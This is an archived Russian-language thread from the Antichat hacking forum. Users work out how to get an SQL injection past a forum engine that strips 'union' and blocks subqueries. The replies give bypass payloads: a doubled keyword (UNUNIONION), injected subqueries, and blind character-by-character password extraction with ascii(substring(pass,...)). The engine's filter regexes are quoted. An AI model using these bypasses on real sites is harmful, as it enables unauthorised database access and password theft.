Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   sql injection without union (https://forum.antichat.xyz/showthread.php?t=17243)

Майор 07.04.2006 02:29

sql injection without union
 
смотрел я на днях движок одного форума, там из запросов вырезается слово Union =(
что-нибудь можно придумать ?

Deem3n® 07.04.2006 10:07

Ну это смотря как вырезается. Попробуй вот так:
SELECT field1, field2, ...., fieldn from table1 UNUNIONION SELECT 1, 2, ...., n from table2

k1b0rg 07.04.2006 10:26

а можно ошарашить движок подзапросами
например такого вида:
seclet pass from users where id=-1+and(select+pass)
или путем посиволного перебора пароля

seclet pass from users where id=1+and+(id=2)+and+(ascii(substring(pass,0,1))<10 0)

Майор 07.04.2006 13:40

ну перебор - это не то чего бы хотелось :)
вложенные запросы тоже режутся
вот так вот это происходит:
preg_match('~(^|[^a-z])union($|[^[a-z])~s',$sql)

preg_match('~\([^)]*?select~s',$sql)

естественно запрос идёт не к таблице с юзерами =(

Майор 07.04.2006 13:43

Цитата:

Сообщение от Deem3n®
Ну это смотря как вырезается. Попробуй вот так:
SELECT field1, field2, ...., fieldn from table1 UNUNIONION SELECT 1, 2, ...., n from table2

не, там сообщение об ошибке выводиться ...

k1b0rg 07.04.2006 14:40

попробуй разный регистр ;)

Майор 07.04.2006 15:21

Цитата:

Сообщение от k1b0rg
попробуй разный регистр ;)

там все в нижний переводиться ...

k1b0rg 07.04.2006 15:29

а если использовать and(mysql.pass='123')

Майор 07.04.2006 16:06

Unknown column 'mysql.user.pass' in 'where clause'
даже еслиб работало , толку немного от этого :(

k1b0rg 07.04.2006 16:17

Unknown column 'mysql.user.pass' in 'where clause'

толк есть, значит подзапросы работают, а я тебе код дал для примера, а подставлять нада свои значения


Время: 03:35